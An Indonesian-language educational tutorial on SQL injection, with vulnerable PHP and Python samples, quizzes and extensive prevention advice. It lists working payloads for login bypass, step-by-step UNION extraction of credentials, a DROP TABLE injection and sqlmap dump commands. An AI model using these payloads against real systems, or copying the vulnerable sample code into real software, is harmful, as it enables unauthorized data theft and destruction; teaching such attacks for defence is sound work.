Daftar Isi
- Pengenalan SQL Injection
- Apa itu SQL Injection?
- Mengapa SQL Injection Berbahaya?
- Cara Kerja SQL Injection
- Jenis-Jenis SQL Injection
- Contoh Kasus Nyata
- Cara Mencegah SQL Injection
- Latihan Praktis
- Quiz dan Jawaban
Pengenalan SQL Injection
SQL Injection adalah salah satu kerentanan keamanan web yang paling umum dan berbahaya. Menurut OWASP (Open Web Application Security Project), SQL Injection masih berada di posisi teratas dalam daftar kerentanan aplikasi web.
Mengapa Harus Mempelajari SQL Injection?
- Untuk Developer: Memahami cara kerja SQL Injection membantu Anda menulis kode yang lebih aman
- Untuk Security Analyst: Penting untuk mengidentifikasi dan mencegah serangan
- Untuk Mahasiswa: Pengetahuan fundamental dalam keamanan aplikasi web
Apa itu SQL Injection?
SQL Injection adalah teknik serangan di mana penyerang menyisipkan (inject) kode SQL berbahaya ke dalam input aplikasi web untuk memanipulasi database.
Analogi Sederhana
Bayangkan Anda pergi ke bank dan kasir bertanya:
- Kasir: "Siapa nama Anda?"
- Anda: "John"
Kasir kemudian mencari di buku: "Cari rekening atas nama John"
Tapi bayangkan jika Anda menjawab:
- Anda: "John ATAU 1=1"
Kasir mencari: "Cari rekening atas nama John ATAU 1=1"
Karena 1=1 selalu benar, kasir akan memberikan SEMUA data rekening kepada Anda!
Itulah konsep dasar SQL Injection.
Mengapa SQL Injection Berbahaya?
SQL Injection dapat menyebabkan:
-
Pencurian Data
- Username dan password
- Data pribadi pelanggan
- Informasi kartu kredit
- Data bisnis rahasia
-
Manipulasi Data
- Mengubah harga produk
- Mengubah saldo rekening
- Menghapus data penting
-
Bypass Authentication
- Login tanpa password yang benar
- Akses ke akun admin
-
Pengambilalihan Sistem
- Menjalankan perintah sistem
- Menginstall backdoor
- Kontrol penuh atas server
Cara Kerja SQL Injection
Contoh Kode Rentan
Mari kita lihat contoh login sederhana yang rentan:
<?php
// KODE RENTAN - JANGAN GUNAKAN!
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($connection, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login berhasil!";
} else {
echo "Login gagal!";
}
?>
Serangan Normal
Input Normal:
- Username:
admin - Password:
password123
Query yang terbentuk:
SELECT * FROM users WHERE username='admin' AND password='password123'
Hasil: Login berhasil jika username dan password cocok ✅
Serangan SQL Injection
Input Berbahaya:
- Username:
admin' -- - Password:
apa saja
Query yang terbentuk:
SELECT * FROM users WHERE username='admin' -- ' AND password='apa saja'
Mari kita analisis:
-
admin'menutup string username -
--adalah komentar SQL yang mengabaikan semua yang ada setelahnya - Bagian
AND password='apa saja'diabaikan!
Query yang dieksekusi sebenarnya:
SELECT * FROM users WHERE username='admin'
Hasil: Login berhasil TANPA perlu password! ❌
Jenis-Jenis SQL Injection
1. In-Band SQL Injection
Penyerang dapat melihat hasil serangan langsung di halaman yang sama.
a) Error-Based SQL Injection
Memanfaatkan pesan error database untuk mendapatkan informasi.
Contoh:
Input: ' OR 1=1 --
Query: SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password=''
b) Union-Based SQL Injection
Menggunakan operator UNION untuk menggabungkan hasil query.
Contoh:
' UNION SELECT NULL, username, password FROM users --
2. Blind SQL Injection
Penyerang tidak dapat melihat hasil langsung, tapi bisa menebak dari perilaku aplikasi.
a) Boolean-Based Blind
Contoh:
' AND 1=1 -- (halaman normal)
' AND 1=2 -- (halaman berbeda/error)
b) Time-Based Blind
Contoh:
' OR SLEEP(5) --
Jika halaman loading 5 detik, berarti rentan!
3. Out-of-Band SQL Injection
Data dikirim ke server eksternal yang dikontrol penyerang.
Contoh Kasus Nyata
Kasus 1: Login Bypass Sederhana
Aplikasi Login:
# KODE RENTAN
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
Serangan:
- Username:
' OR '1'='1 - Password:
' OR '1'='1
Query hasil:
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
Karena '1'='1' selalu TRUE, query mengembalikan semua user!
Kasus 2: Ekstraksi Data dengan UNION
URL Rentan:
http://example.com/product.php?id=5
Query di belakang:
SELECT name, price, description FROM products WHERE id=5
Serangan:
http://example.com/product.php?id=5 UNION SELECT username, password, email FROM users --
Query hasil:
SELECT name, price, description FROM products WHERE id=5
UNION SELECT username, password, email FROM users --
Hasil: Data produk DAN data user ditampilkan!
Kasus 3: Mengetahui Struktur Database
Langkah 1: Cek jumlah kolom
' ORDER BY 1 -- (berhasil)
' ORDER BY 2 -- (berhasil)
' ORDER BY 3 -- (berhasil)
' ORDER BY 4 -- (error)
Kesimpulan: Tabel memiliki 3 kolom
Langkah 2: Cek tipe data kolom
' UNION SELECT NULL, NULL, NULL -- (berhasil)
' UNION SELECT 'a', NULL, NULL -- (berhasil = kolom 1 string)
' UNION SELECT 'a', 'b', NULL -- (berhasil = kolom 2 string)
Langkah 3: Ekstrak nama database
' UNION SELECT NULL, database(), NULL --
Langkah 4: Ekstrak nama tabel
' UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --
Langkah 5: Ekstrak nama kolom
' UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
Langkah 6: Ekstrak data
' UNION SELECT NULL, username, password FROM users --
Cara Mencegah SQL Injection
1. Prepared Statements (Parameterized Queries) ⭐ TERBAIK!
PHP (PDO):
<?php
// KODE AMAN ✅
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
$user = $stmt->fetch();
?>
Python:
# KODE AMAN ✅
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
Java:
// KODE AMAN ✅
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
Node.js:
// KODE AMAN ✅
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
connection.query(query, [username, password], (error, results) => {
// handle results
});
2. Validasi dan Sanitasi Input
<?php
// Validasi tipe data
if (!is_numeric($id)) {
die("Invalid ID");
}
// Whitelist karakter yang diizinkan
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
die("Invalid username format");
}
// Escape karakter khusus (tidak disarankan sebagai metode utama)
$username = mysqli_real_escape_string($connection, $username);
?>
3. Least Privilege Principle
-- Jangan gunakan akun root/admin untuk aplikasi
-- Buat user database dengan hak akses terbatas
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'password';
GRANT SELECT, INSERT, UPDATE ON mydb.* TO 'webapp'@'localhost';
-- JANGAN berikan DROP, CREATE, atau hak admin
4. Stored Procedures
-- Buat stored procedure
DELIMITER //
CREATE PROCEDURE LoginUser(IN user VARCHAR(50), IN pass VARCHAR(50))
BEGIN
SELECT * FROM users WHERE username = user AND password = pass;
END //
DELIMITER ;
<?php
// Panggil dari aplikasi
$stmt = $pdo->prepare("CALL LoginUser(?, ?)");
$stmt->execute([$username, $password]);
?>
5. ORM (Object-Relational Mapping)
# Django ORM - AMAN ✅
user = User.objects.filter(username=username, password=password).first()
// Sequelize - AMAN ✅
const user = await User.findOne({
where: {
username: username,
password: password
}
});
6. Web Application Firewall (WAF)
- ModSecurity
- Cloudflare WAF
- AWS WAF
- Azure WAF
7. Security Headers dan Best Practices
<?php
// Nonaktifkan error display di production
ini_set('display_errors', 0);
error_reporting(0);
// Log error ke file
ini_set('log_errors', 1);
ini_set('error_log', '/path/to/error.log');
?>
Latihan Praktis
Latihan 1: Identifikasi Kode Rentan
Soal: Mana kode yang RENTAN terhadap SQL Injection?
Kode A:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = $id";
Kode B:
$id = $_GET['id'];
$stmt = $pdo->prepare("SELECT * FROM products WHERE id = ?");
$stmt->execute([$id]);
Kode C:
$search = $_POST['search'];
$query = "SELECT * FROM articles WHERE title LIKE '%$search%'";
Kode D:
user_id = request.args.get('id')
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
Jawaban:
- Kode A: ❌ RENTAN (tidak ada validasi, langsung masuk ke query)
- Kode B: ✅ AMAN (menggunakan prepared statement)
- Kode C: ❌ RENTAN (input langsung ke query dengan LIKE)
- Kode D: ✅ AMAN (menggunakan parameterized query)
Latihan 2: Analisis Serangan
Scenario:
$username = $_POST['username'];
$query = "SELECT * FROM users WHERE username='$username'";
Input yang diberikan:
admin' OR '1'='1' --
Pertanyaan:
- Query apa yang akan terbentuk?
- Apa yang akan terjadi?
- Bagaimana cara memperbaikinya?
Jawaban:
- Query yang terbentuk:
SELECT * FROM users WHERE username='admin' OR '1'='1' --'
-
Yang akan terjadi:
- Kondisi
username='admin'dicek - ATAU
'1'='1'(selalu TRUE) - Karena menggunakan OR dan salah satu kondisi TRUE, query mengembalikan SEMUA user
- Komentar
--mengabaikan sisa query - Attacker bisa login tanpa password!
- Kondisi
Cara memperbaiki:
// Gunakan Prepared Statement
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
Latihan 3: Perbaiki Kode Rentan
Kode Rentan:
def search_products(search_term):
query = f"SELECT * FROM products WHERE name LIKE '%{search_term}%'"
cursor.execute(query)
return cursor.fetchall()
Tugas: Perbaiki kode di atas agar aman dari SQL Injection!
Solusi:
def search_products(search_term):
# Menggunakan parameterized query
query = "SELECT * FROM products WHERE name LIKE %s"
# Tambahkan % di parameter, bukan di query
search_pattern = f"%{search_term}%"
cursor.execute(query, (search_pattern,))
return cursor.fetchall()
Latihan 4: Testing untuk SQL Injection
Daftar input untuk testing:
- Single Quote Test:
'
''
`
- Boolean-Based:
' OR '1'='1
' OR '1'='1' --
' OR 1=1 --
admin' --
- UNION-Based:
' UNION SELECT NULL --
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, NULL, NULL --
- Time-Based:
' OR SLEEP(5) --
'; WAITFOR DELAY '00:00:05' --
- Error-Based:
'
''
`
"
\
Tugas:
Buat checklist untuk menguji aplikasi web Anda:
- [ ] Test semua form input
- [ ] Test semua parameter URL
- [ ] Test semua cookie values
- [ ] Test dengan karakter khusus:
' " ; -- # - [ ] Cek apakah error message menampilkan info database
- [ ] Verifikasi menggunakan prepared statements
- [ ] Review semua query yang dinamis
Latihan 5: Bangun Form Login Aman
Tugas: Buat form login yang aman dari SQL Injection
Solusi Lengkap:
<?php
// config.php
$host = 'localhost';
$dbname = 'myapp';
$username = 'webapp';
$password = 'secure_password';
try {
$pdo = new PDO("mysql:host=$host;dbname=$dbname", $username, $password);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
} catch(PDOException $e) {
error_log("Connection failed: " . $e->getMessage());
die("Database connection error");
}
// login.php
session_start();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';
// Validasi input
if (empty($username) || empty($password)) {
$error = "Username dan password harus diisi!";
} else {
try {
// Prepared Statement - AMAN! ✅
$stmt = $pdo->prepare("SELECT id, username, password FROM users WHERE username = ?");
$stmt->execute([$username]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
// Verifikasi password (gunakan password_hash dan password_verify)
if ($user && password_verify($password, $user['password'])) {
$_SESSION['user_id'] = $user['id'];
$_SESSION['username'] = $user['username'];
header('Location: dashboard.php');
exit;
} else {
$error = "Username atau password salah!";
}
} catch(PDOException $e) {
error_log("Login error: " . $e->getMessage());
$error = "Terjadi kesalahan sistem";
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Login Aman</title>
</head>
<body>
<h2>Login</h2>
<?php if (isset($error)): ?>
<p style="color: red;"><?= htmlspecialchars($error) ?></p>
<?php endif; ?>
<form method="POST" action="">
<label>Username:</label><br>
<input type="text" name="username" required><br><br>
<label>Password:</label><br>
<input type="password" name="password" required><br><br>
<button type="submit">Login</button>
</form>
</body>
</html>
Penjelasan keamanan:
- ✅ Menggunakan PDO dengan Prepared Statements
- ✅ Validasi input tidak kosong
- ✅ Password di-hash dengan
password_hash() - ✅ Error tidak menampilkan detail teknis
- ✅ Session management yang benar
- ✅ XSS prevention dengan
htmlspecialchars()
Quiz dan Jawaban
Quiz 1: Multiple Choice
1. Apa yang dimaksud dengan SQL Injection?
- A. Injeksi obat ke dalam SQL
- B. Memasukkan kode SQL berbahaya ke dalam input aplikasi
- C. Menghapus database
- D. Membuat database baru
Jawaban: B
2. Mana yang merupakan contoh input SQL Injection?
- A.
admin - B.
password123 - C.
' OR '1'='1' -- - D.
user@email.com
Jawaban: C
3. Metode terbaik untuk mencegah SQL Injection adalah:
- A. Menonaktifkan SQL
- B. Menggunakan Prepared Statements
- C. Menyembunyikan error message
- D. Menggunakan password yang kuat
Jawaban: B
4. Apa fungsi dari -- dalam SQL Injection?
- A. Mengurangi nilai
- B. Membuat komentar (mengabaikan sisa query)
- C. Membagi nilai
- D. Menambah nilai
Jawaban: B
5. Kode mana yang AMAN dari SQL Injection?
- A.
query = "SELECT * FROM users WHERE id=" + user_id - B.
query = f"SELECT * FROM users WHERE id={user_id}" - C.
stmt.execute("SELECT * FROM users WHERE id=?", [user_id]) - D.
query = "SELECT * FROM users WHERE id='$user_id'"
Jawaban: C
Quiz 2: True or False
1. SQL Injection hanya bisa dilakukan pada form login.
- ❌ FALSE
- Penjelasan: SQL Injection bisa dilakukan pada semua input yang digunakan dalam query SQL (URL parameters, cookies, headers, dll)
2. Menggunakan mysqli_real_escape_string() sudah cukup untuk mencegah SQL Injection.
- ❌ FALSE
- Penjelasan: Escape string tidak sepenuhnya aman. Prepared statements adalah metode terbaik.
3. SQL Injection bisa digunakan untuk mengambil seluruh data dari database.
- ✅ TRUE
- Penjelasan: Dengan teknik UNION injection, attacker bisa mengekstrak semua data.
4. Error message yang detail membantu attacker melakukan SQL Injection.
- ✅ TRUE
- Penjelasan: Error message bisa memberikan informasi tentang struktur database.
5. Stored procedures selalu aman dari SQL Injection.
- ❌ FALSE
- Penjelasan: Stored procedures bisa rentan jika di dalamnya menggunakan dynamic SQL yang tidak aman.
Quiz 3: Analisis Kasus
Kasus:
<?php
$email = $_GET['email'];
$query = "DELETE FROM users WHERE email='$email'";
mysqli_query($connection, $query);
echo "User deleted successfully!";
?>
Pertanyaan:
- Apa kerentanan dalam kode ini?
- Apa yang bisa dilakukan attacker?
- Bagaimana memperbaikinya?
Jawaban:
-
Kerentanan:
- Input
$_GET['email']langsung dimasukkan ke query tanpa validasi - Tidak ada autentikasi/autorisasi
- Tidak menggunakan prepared statement
- Input
Yang bisa dilakukan attacker:
Input: anything' OR '1'='1
Query yang terbentuk:
DELETE FROM users WHERE email='anything' OR '1'='1'
Hasil: SEMUA user di database akan terhapus! 💥
Input lain: test@test.com'; DROP TABLE users; --
Query yang terbentuk:
DELETE FROM users WHERE email='test@test.com';
DROP TABLE users; --'
Hasil: Tabel users dihapus! 💥💥
- Perbaikan:
<?php
session_start();
// Cek autentikasi
if (!isset($_SESSION['admin'])) {
die("Unauthorized");
}
$email = $_GET['email'] ?? '';
// Validasi format email
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die("Invalid email format");
}
// Prepared statement
$stmt = $pdo->prepare("DELETE FROM users WHERE email = ?");
$success = $stmt->execute([$email]);
if ($success) {
echo "User deleted successfully!";
} else {
echo "Failed to delete user";
}
?>
Latihan Tambahan: Lab Virtual
Lab 1: Login Bypass
Setup database:
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50),
password VARCHAR(50),
role VARCHAR(20)
);
INSERT INTO users VALUES
(1, 'admin', 'admin123', 'administrator'),
(2, 'user', 'user123', 'member');
Kode login rentan:
<?php
$user = $_POST['username'];
$pass = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
?>
Tugas:
- Coba login dengan kredensial normal
- Coba berbagai payload SQL Injection:
admin' --' OR '1'='1' --admin' OR '1'='1' --
- Analisis query yang terbentuk
- Perbaiki kode agar aman
Lab 2: Data Extraction
URL:
http://example.com/news.php?id=1
Query:
SELECT title, content, author FROM news WHERE id=$id
Tugas:
- Tentukan jumlah kolom dengan ORDER BY
- Gunakan UNION untuk ekstrak data
- Dapatkan nama database
- Dapatkan nama tabel
- Ekstrak data dari tabel users
Solusi:
-- Step 1: Cek jumlah kolom
?id=1 ORDER BY 1 --
?id=1 ORDER BY 2 --
?id=1 ORDER BY 3 --
?id=1 ORDER BY 4 -- (error = 3 kolom)
-- Step 2: UNION injection
?id=1 UNION SELECT NULL, NULL, NULL --
-- Step 3: Cek tipe data
?id=1 UNION SELECT 'a', 'b', 'c' --
-- Step 4: Ekstrak database name
?id=1 UNION SELECT NULL, database(), NULL --
-- Step 5: Ekstrak tabel names
?id=1 UNION SELECT NULL, table_name, NULL FROM information_schema.tables WHERE table_schema=database() --
-- Step 6: Ekstrak kolom names
?id=1 UNION SELECT NULL, column_name, NULL FROM information_schema.columns WHERE table_name='users' --
-- Step 7: Ekstrak data
?id=1 UNION SELECT NULL, username, password FROM users --
Checklist Keamanan
Gunakan checklist ini untuk memastikan aplikasi Anda aman:
Development Phase
- [ ] Semua query menggunakan Prepared Statements atau Parameterized Queries
- [ ] Tidak ada string concatenation untuk membuat query SQL
- [ ] Input validation diterapkan (whitelist, regex, type checking)
- [ ] Error messages tidak menampilkan detail teknis
- [ ] Database user memiliki hak akses minimal (least privilege)
- [ ] Password di-hash dengan algoritma yang kuat (bcrypt, argon2)
- [ ] Menggunakan ORM dengan benar (hindari raw queries)
Testing Phase
- [ ] Manual testing dengan payload SQL Injection
- [ ] Automated scanning dengan tools (SQLMap, Burp Suite)
- [ ] Code review oleh tim security
- [ ] Penetration testing
- [ ] Unit tests untuk validasi input
Production Phase
- [ ] WAF (Web Application Firewall) aktif
- [ ] Database di-backup secara rutin
- [ ] Monitoring dan logging untuk aktivitas mencurigakan
- [ ] Security headers dikonfigurasi dengan benar
- [ ] Regular security updates dan patches
Tools untuk Testing SQL Injection
1. SQLMap (Otomatis)
# Basic scan
sqlmap -u "http://example.com/page.php?id=1"
# Dengan cookie
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=abc123"
# Ekstrak database
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Ekstrak tabel
sqlmap -u "http://example.com/page.php?id=1" -D dbname --tables
# Dump data
sqlmap -u "http://example.com/page.php?id=1" -D dbname -T users --dump
2. Burp Suite
- Intercept requests
- Modify parameters
- Automated scanning
- Intruder for fuzzing
3. OWASP ZAP
- Free alternative untuk Burp
- Automated scanning
- Manual testing tools
4. Manual Testing dengan Browser
- Developer tools (F12)
- Edit parameters di URL
- Modify form data
- Check response
Resources Tambahan
Websites untuk Belajar
- OWASP - https://owasp.org/www-community/attacks/SQL_Injection
- PortSwigger Web Security Academy - Free labs untuk praktik
- HackerOne - Bug bounty platform
- TryHackMe - Interactive learning
- HackTheBox - Pentesting labs
Vulnerable Apps untuk Praktik
- DVWA (Damn Vulnerable Web Application)
- bWAPP (buggy Web Application)
- WebGoat (OWASP)
- Mutillidae
- SQLi-Labs
Books
- "The Web Application Hacker's Handbook"
- "SQL Injection Attacks and Defense"
- "OWASP Testing Guide"
Kesimpulan
Key Takeaways:
SQL Injection adalah ancaman serius yang bisa mengakibatkan pencurian data, manipulasi data, dan pengambilalihan sistem.
Prepared Statements adalah solusi terbaik untuk mencegah SQL Injection. Selalu gunakan parameterized queries!
-
Defense in Depth: Gunakan multiple layers of security:
- Input validation
- Prepared statements
- Least privilege
- WAF
- Monitoring
Never trust user input: Selalu validasi dan sanitasi semua input dari user.
Keep learning: Security adalah proses berkelanjutan, bukan tujuan akhir.
Prinsip Emas:
🛡️ JANGAN:
❌ String concatenation untuk query
❌ Dynamic SQL tanpa parameterization
❌ Trust user input
❌ Display detailed error messages
❌ Use admin accounts untuk aplikasi
✅ LAKUKAN:
✅ Prepared Statements SELALU
✅ Input validation
✅ Least privilege principle
✅ Regular security testing
✅ Keep systems updated
Penutup
SQL Injection mungkin terlihat menakutkan, tapi dengan pemahaman yang baik dan penerapan best practices, Anda bisa melindungi aplikasi Anda dengan efektif.
Ingat:
- Belajar tentang SQL Injection untuk melindungi, bukan untuk menyerang
- Gunakan pengetahuan ini secara etis dan legal
- Praktik pada environment yang legal (lab sendiri, CTF, bug bounty programs dengan izin)
- Selalu update pengetahuan keamanan Anda
Happy Secure Coding! 🔒
Disclaimer: Tutorial ini dibuat untuk tujuan edukasi dan awareness keamanan. Penggunaan teknik SQL Injection tanpa izin pada sistem yang bukan milik Anda adalah ILEGAL dan dapat dikenai sanksi hukum. Selalu gunakan pengetahuan ini secara bertanggung jawab dan etis.
Top comments (0)